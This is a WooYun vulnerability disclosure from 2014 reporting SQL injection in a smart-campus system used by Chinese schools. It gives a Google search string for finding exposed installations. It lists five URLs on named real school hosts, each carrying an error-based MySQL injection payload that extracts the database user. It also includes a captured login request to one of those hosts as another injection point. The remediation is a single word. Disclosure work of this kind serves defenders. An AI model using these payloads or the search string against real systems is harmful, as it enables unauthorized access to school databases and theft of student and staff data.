当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072136

漏洞标题:某学校用系统存在多处SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 酱油甲

提交时间:2014-08-13 11:25

修复时间:2014-11-08 11:26

公开时间:2014-11-08 11:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-08: 细节向公众公开

简要描述:

某学校用系统存在多处SQL注入漏洞

详细说明:

瑞聪智慧校园系统 存在多处SQL注入:
首先来看他的BBS,就存在多个注入点了:
google:inurl:/webschool/BBS
注入点:
/BBS/forum.jsp?sectionId=&boardId=
参数:
两个参数都可以注入
案例:
1.http://121.8.99.60:6365/webschool/BBS/forum.jsp?sectionId=ebbs02&boardId=-1%27+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3E(SELECT+COUNT(*)%2cCONCAT((select%20user()),0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
2.http://www.ghcjzx.com:88/webschool/BBS/forum.jsp?sectionId=ebbs01&boardId=-1%27+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3E(SELECT+COUNT(*)%2cCONCAT((select%20user()),0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
3.http://qb3z.mhedu.sh.cn/webschool/BBS/forum.jsp?sectionId=ebbs02&boardId=-1%27+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3E(SELECT+COUNT(*)%2cCONCAT((select%20user()),0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
4.http://zjsdszx.zje.net.cn:82/webschool/BBS/forum.jsp?sectionId=ebbs01&boardId=-1%27+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3E(SELECT+COUNT(*)%2cCONCAT((select%20user()),0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
5.http://yuxiu.qpedu.cn/webschool/BBS/forum.jsp?sectionId=ebbs01&boardId=-1%27+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3E(SELECT+COUNT(*)%2cCONCAT((select%20user()),0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

1.jpg


========================================================================
======================
再来看登陆页面:
统一登录:/webschool/login
随便填写,然后抓包:

POST /webschool/login HTTP/1.1
Host: yuxiu.qpedu.cn
Proxy-Connection: keep-alive
Content-Length: 280
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://yuxiu.qpedu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://yuxiu.qpedu.cn/webschool/login
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=a4e4482f77c210c2c858a9780e01; 0.2620234831701964; JSESSIONID=9279e5d18d5600b299d426d6cff9
button=+&isInnerIp=false&loginStatus=3&loginUrl=%2fNews%2f&schoolId=11111&targetURL=%2fNews%2f&userName=Smith&userPwd=3


4.jpg

漏洞证明:

1.jpg


4.jpg

修复方案:

过滤

版权声明:转载请注明来源 酱油甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-08 11:26

厂商回复:

最新状态:

暂无